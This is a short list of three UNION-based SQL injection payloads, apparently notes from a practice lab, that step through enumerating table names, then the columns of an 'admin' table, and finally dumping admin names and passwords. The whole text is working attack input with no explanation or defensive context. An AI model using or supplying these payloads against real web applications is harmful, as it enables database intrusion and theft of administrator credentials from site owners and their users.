3'and 1=2 union select 1,group_concat(0x23,table_name),3 from information_schema.tables where table_schema='security'%23
3' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' %23
3' and 1=2 union select 1,group_concat(adminname,0x23,adminpasswd),3 from admin %23